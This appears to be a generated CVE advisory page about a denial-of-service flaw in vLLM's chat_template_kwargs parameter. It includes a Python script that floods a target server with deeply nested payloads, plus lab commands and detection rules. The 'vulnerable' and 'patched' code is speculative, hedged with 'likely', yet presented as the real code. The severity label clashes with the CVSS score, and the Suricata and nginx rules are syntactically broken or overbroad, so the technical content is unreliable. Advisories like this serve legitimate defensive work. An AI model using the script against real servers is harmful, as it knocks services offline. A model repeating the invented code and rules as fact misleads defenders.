CVE-2025-62426
Executive Summary
CVE-2025-62426 is a high-severity Denial of Service (DoS) vulnerability affecting vLLM, an inference and serving engine for large language models (LLMs). The vulnerability resides in the /v1/chat/completions and /tokenize API endpoints. An unauthenticated attacker can exploit this by sending a crafted chat_template_kwargs request parameter that is not properly validated. This can cause the API server to block processing for extended periods, effectively denying service to all other legitimate requests. The vulnerability affects versions from 0.5.5 up to, but not including, 0.11.1. The official patch was released in version 0.11.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in the vLLM Python package, which is distributed via PyPI. Organizations using vLLM should immediately review their dependency management for the affected versions. The package is commonly used in AI/ML pipelines and may be deployed in containerized environments (Docker, Kubernetes). Ensure that the package version is pinned to >=0.11.1 in all requirements.txt, pyproject.toml, or Dockerfiles.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
- Confidentiality (C): None (N) - No data exposure.
- Integrity (I): None (N) - No data modification.
- Availability (A): High (H) - Complete loss of service availability.
Threat Level: High (DoS impact on critical AI infrastructure).
Deep Dive & Mechanics
The vulnerability is a classic case of improper input validation (CWE-20). The vLLM API endpoints /v1/chat/completions and /tokenize accept a chat_template_kwargs parameter. This parameter is intended to allow users to pass additional arguments to the chat template rendering engine (likely Jinja2 or similar). However, the code does not validate the content or structure of this parameter against the expected chat template before using it.
An attacker can craft a chat_template_kwargs payload that triggers an extremely long or infinite loop during template rendering. For example, a deeply nested dictionary or a payload that causes the template engine to perform excessive recursion or string concatenation. This blocks the worker process handling the request, preventing it from processing any other requests. Since vLLM typically uses a limited number of worker processes (e.g., one per GPU), a single malicious request can effectively halt the entire API server.
The root cause is that the chat_template_kwargs is passed directly to the template rendering function without sanitization or validation. The fix in version 0.11.1 likely adds a validation step that checks the structure and size of the chat_template_kwargs parameter, or restricts the allowed keys/values based on the chat template definition.
Vulnerable vs. Patched Code
Vulnerable Code (v0.5.5 - v0.11.0):
# In the API handler for /v1/chat/completions
def handle_chat_completion(request):
chat_template_kwargs = request.get("chat_template_kwargs", {})
# No validation - directly used in template rendering
rendered = render_chat_template(request["messages"], chat_template_kwargs)
# ... rest of processing
Patched Code (v0.11.1):
# In the API handler for /v1/chat/completions
def handle_chat_completion(request):
chat_template_kwargs = request.get("chat_template_kwargs", {})
# Validation added
if not validate_chat_template_kwargs(chat_template_kwargs):
raise HTTPException(status_code=400, detail="Invalid chat_template_kwargs")
rendered = render_chat_template(request["messages"], chat_template_kwargs)
# ... rest of processing
def validate_chat_template_kwargs(kwargs):
# Example validation: limit depth, size, and allowed keys
MAX_DEPTH = 3
MAX_SIZE = 1024
ALLOWED_KEYS = {"temperature", "max_tokens", "stop"}
return (isinstance(kwargs, dict) and
len(str(kwargs)) <= MAX_SIZE and
all(key in ALLOWED_KEYS for key in kwargs.keys()) and
_check_depth(kwargs, MAX_DEPTH))
Exploitation & Lab Setup
Red Team (Attack Simulation)
Objective: Cause a Denial of Service on the vLLM API server.
Prerequisites:
- Access to the vLLM API endpoint (e.g.,
http://target:8000/v1/chat/completions). - No authentication required.
Exploit Payload:
import requests
import json
target_url = "http://target:8000/v1/chat/completions"
# Craft a deeply nested dictionary to cause excessive processing
malicious_kwargs = {
"a": {
"b": {
"c": {
"d": {
"e": "x" * 10000
}
}
}
}
}
payload = {
"model": "default",
"messages": [{"role": "user", "content": "Hello"}],
"chat_template_kwargs": malicious_kwargs
}
# Send the request - this will block the worker
try:
response = requests.post(target_url, json=payload, timeout=5)
except requests.exceptions.Timeout:
print("Server timed out - DoS likely successful")
except Exception as e:
print(f"Error: {e}")
Expected Outcome: The server becomes unresponsive to other requests for a prolonged period.
Blue Team (Defense & Detection)
Detection:
- Monitor API logs for requests with unusually large or deeply nested
chat_template_kwargsparameters. - Set up alerts for API response times exceeding a threshold (e.g., > 30 seconds).
- Use the detection rules provided in the Detection Engineering section.
Mitigation:
- Immediately upgrade to vLLM version 0.11.1 or later.
- If immediate upgrade is not possible, implement a reverse proxy (e.g., Nginx, HAProxy) to validate and reject requests with suspicious
chat_template_kwargsparameters. - Apply rate limiting to the
/v1/chat/completionsand/tokenizeendpoints.
Lab Setup:
# Start a vulnerable vLLM instance (v0.5.5) in Docker
docker run -d --name vllm-vuln -p 8000:8000 vllm/vllm:0.5.5
# Test the exploit from the Red Team section
python exploit.py
# Monitor logs
docker logs -f vllm-vuln
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/v1/chat/completionsor/tokenizewith achat_template_kwargsparameter containing deeply nested JSON objects (depth > 3). - Requests with
chat_template_kwargsvalues exceeding 1024 bytes. - Unusually long response times (> 30 seconds) for these endpoints.
- HTTP POST requests to
Log IOCs:
- Repeated timeout errors in vLLM logs.
- Worker process crashes or restarts.
- High CPU usage on the vLLM server.
File IOCs:
- None specific to this CVE.
Detection Engineering
YARA Rule
rule CVE_2025_62426_vLLM_DoS {
meta:
description = "Detects malicious chat_template_kwargs payloads for CVE-2025-62426"
author = "Valters IT"
date = "2025-04-10"
severity = "high"
strings:
$json_key = "chat_template_kwargs"
$deep_nest = /"\{[^}]*\{[^}]*\{[^}]*\{[^}]*\{/
condition:
$json_key and #deep_nest > 3
}
Sigma Rule
title: CVE-2025-62426 vLLM DoS via chat_template_kwargs
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with deeply nested chat_template_kwargs parameter targeting vLLM API
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: vllm
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/v1/chat/completions'
- '/tokenize'
cs-uri-query|contains: 'chat_template_kwargs'
condition: selection
falsepositives:
- Legitimate use of complex chat templates (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-62426 vLLM DoS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/v1/chat/completions" or content:"/tokenize"; http.request_body; content:"chat_template_kwargs"; depth:500; pcre:"/\{.*\{.*\{.*\{/"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade vLLM: Update to version 0.11.1 or later.
pip install --upgrade vllm - Restrict Access: If upgrade is not possible, restrict access to the API endpoints using a firewall or reverse proxy.
- Input Validation: Implement a reverse proxy (e.g., Nginx) to validate and reject requests with suspicious
chat_template_kwargsparameters.location /v1/chat/completions { if ($request_body ~* "chat_template_kwargs") { return 400; } proxy_pass http://vllm_backend; }
Long-term Measures:
- Implement Web Application Firewall (WAF) rules to block deeply nested JSON payloads.
- Enable rate limiting on API endpoints.
- Monitor vLLM logs for anomalies.
- Conduct regular security audits of AI/ML infrastructure.
Valters IT